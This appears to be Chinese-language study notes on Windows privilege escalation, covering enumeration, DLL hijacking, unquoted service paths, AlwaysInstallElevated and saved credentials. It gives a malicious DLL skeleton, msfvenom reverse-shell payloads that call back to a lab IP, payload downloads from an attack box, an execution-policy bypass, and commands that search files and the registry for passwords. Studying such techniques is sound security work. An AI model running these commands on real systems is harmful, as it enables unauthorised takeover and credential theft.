信息收集
用户枚举
当前用户的权限:whoami /priv
列出用户:net users
列出用户的详细信息:nte user username
列出用户组:net localgroup
列出特定组成员:net localgroup groupname
收集系统信息
systeminfo
命令将返回目标系统的概述信息。
通常输出信息数据量会很大,可以过滤输出
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
计算机名称还可以提供一些关于系统用途或用户身份的信息。hostname
命令可用于此目的.
搜索文件
findstr
命令可用于以类似于下面给出的格式查找此类文件
findstr /si password *.txt
findstr
:搜索文件中的文本模式。
/si
:搜索当前目录和所有子目录(s),忽略大写/小写差异(i)
password
:该命令将在文件中搜索字符串“password”
*.txt
:搜索将涵盖具有 .txt 扩展名的文件
补丁级别
wmic qfe get Caption,Description,HotFixID,InstalledOn
网络连接
netstat -ano
命令可用于列出目标系统上的所有侦听端口
-a
:显示目标系统上的所有活动连接和侦听端口。-n
: 防止名称解析。IP 地址和端口以数字显示,而不是尝试使用DNS解析名称。-o
:显示使用每个列出的连接的进程 ID。
计划任务
schtasks
命令可用于查询计划任务
schtasks /query /fo LIST /v
驱动程序
driverquery
命令将列出目标系统上安装的驱动程序
虽然操作系统更新通常相对定期进行,但驱动程序可能不会经常更新。列出目标系统上可用的驱动程序也可以提供权限提升方向。
杀毒软件
sc query windefend
Windows Defender的服务名称是windefend
第二种方法可以让您在事先不知道其服务名称的情况下检测防病毒软件
sc queryex type=service
提醒:要在目标系统上运行 PowerUp,可能需要绕过执行策略限制。为此,可以使用以下命令启动 PowerShell。
powershell.exe -nop -exec bypass
易受攻击的软件
安装在目标系统上的软件可以提供各种权限提升机会。
wmic
之前看到目标系统上安装的软件及其版本。
wmic product
可以收集的已安装软件的信息。
wmic product get name,version,vendor
wmic service list brief
检查正在运行的服务
wmic service list brief | findstr "Running"
sc qc
列出有关服务的更多信息
DLL劫持
如果我们可以用特制的 DLL 文件切换合法的 DLL 文件,我们的代码将由应用程序运行。DLL 劫持需要一个应用程序(通常是一个 exe 文件),该应用程序要么缺少 DLL 文件,要么可以使用搜索顺序插入恶意 DLL 文件。
DLL文件简介
Windows使用很多dll文件
一些文件类型是“应用程序”,而其他文件类型(查找 .dll 扩展名)被描述为“应用程序扩展名”。因此,当应用程序运行时,它会出于不同目的“调用”这些其他文件。任何应用程序都可以拥有自己的 DLL 文件,但也可以调用 Windows DLL 文件。
DLL劫持场景包括用恶意 DLL 文件替换合法 DLL 文件,该恶意 DLL 文件将由可执行文件调用并运行。
DLL 搜索顺序
如果启用SafeDllSearchMode,则搜索顺序如下:
- 加载应用程序的目录。
- 系统目录。使用 GetSystemDirectory 函数获取该目录的路径。
- 16 位系统目录。没有函数获取这个目录的路径,但是被搜索了。
- Windows 目录。使用 GetWindowsDirectory 函数获取该目录的路径。
- 当前目录。
- PATH 环境变量中列出的目录。请注意,这不包括App Paths注册表项指定的每个应用程序路径。计算DLL搜索路径 时不使用App Paths键。
如果禁用SafeDllSearchMode,则搜索顺序如下:
- 加载应用程序的目录。
- 当前目录。
- 系统目录。使用 GetSystemDirectory 函数获取该目录的路径。
- 16 位系统目录。没有函数获取这个目录的路径,但是被搜索了。
- Windows 目录。使用 GetWindowsDirectory 函数获取该目录的路径。
- PATH 环境变量中列出的目录。请注意,这不包括App Paths注册表项指定的每个应用程序路径。计算DLL 搜索路径时不使用 App Paths键。
如果在系统上拥有的用户权限允许我们按搜索顺序写入任何文件夹,就有可能存在 DLL 劫持漏洞。
查找 DLL 劫持漏洞
可用于查找潜在 DLL 劫持漏洞的工具是 Process Monitor
如果想检查软件是否存在潜在的 DLL 劫持漏洞,需要在测试环境中安装该软件进行研究。
创建恶意 DLL 文件
创建的 DLL 文件可以是反向 shell 或操作系统命令,具体取决于希望在目标系统上实现的目标下面的示例是一个框架 DLL 文件,可以根据需要进行调整。
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
mingw 编译器可用于生成 DLL 文件,命令如下:
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
使用apt install gcc-mingw-w64-x86-64
命令安装 Mingw 编译器。
编译完成后,我们需要将dll 文件移动到目标系统的 Temp 文件夹中。可以使用以下 PowerShell 命令将 .dll 文件下载到目标系统:
wget -O hijackme.dll ATTACKBOX_IP:PORT/hijackme.dll
再次停止并启动 dllsvc 服务:
sc stop dllsvc & sc start dllsvc
未引用的服务路径
再windows中启动服务时,操作系统必须查找并运行可执行文件。
例如,netlogon服务(负责对域中用户进行身份验证)实际上是指C:\Windows\system32\lsass.exe
二进制文件。
当服务启动时,Windows 会遵循类似于DLL中看到的搜索顺序
例如现有服务srvc它的二进制路径设置为 C:\Program Files\topservice folder\subservice subfolder\srvc.exe
从人眼来看以上路径与"C:\Program Files\topservice folder\subservice subfolder\srvc.exe"
不同。
Windows处理方式为,如果路径写在引号之间,Windows 将直接转到正确的位置并启动 service.exe
但是,如果路径没有写在引号之间,并且路径中的任何文件夹名称中有空格,
Windows将附加".exe".并开始寻找可执行文件,从最短的路径开始在以上的路径中,
这将是C:\Program.exe
。如果 program.exe 不可用,
第二次尝试是在C:\Program Files\
下运行 topservice.exe。
如果这也失败,将对 C:\Program Files\topservice folder\subservice.exe
进行另一次尝试。重复此过程,直到找到可执行文件。
查找未引用的服务路径漏洞
winPEAS 和 PowerUp.ps1 等工具会检测未引用的服务路径。
需要确保满足利用该漏洞的其他要求:
- 能够写入路径上的文件夹
- 能够重新启动服务
使用winPEAS找出路径没有在引号之间的服务名称
sc qc unquotedsvc
命令进一步检查此服务的二进制路径
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
然后需要检查我们对路径中文件夹的权限 如:
.\accesschk64.exe /accepteula -dvqw "C:\Program Files\Unquoted Path Service\"
输出将列出对“Program Files”文件夹具有读取 ® 和写入 (W) 权限的用户组
找到可写入的文件夹后,上传反向shell。并在攻击机上监听4444端口
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.71.123 LPORT=4444 -f exe > Common.exe
powershell wget http://10.11.71.123/Common.exe -o C:\Program Files\Unquoted Path Service\Common.exe
生成文件并将其移动到目标计算机上的正确位置后,需要重新启动易受攻击的服务。
net start unquotedsvc
运行成功后得到reverse shell
计划任务
schtasks
命令从命令行列出计划任务
Autoruns64.exe
AlwaysInstallElevated
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。
通常以启动它的用户的权限级别运行。但是,如果安装需要管理员权限,则可以将它们配置为以更高的权限运行。
此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些。
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
为了能够利用此漏洞,两者都应该设置。否则,将无法利用。
如果设置了这些,可以使用 生成恶意 .msi 文件msfvenom
,如下所示。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.171.123 LPORT=4444 -f msi -o malicious.msi
在目标系统上运行
C:\Users\user\Desktop>msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
密码
保存的凭据
Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据。
cmdkey /list
如果您看到任何值得尝试的凭据,您可以将它们与runas
命令和/savecred
选项一起使用,runas /savecred /user:admin reverse_shell.exe
注册表项
可以使用以下命令查询可能包含密码的注册表项
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s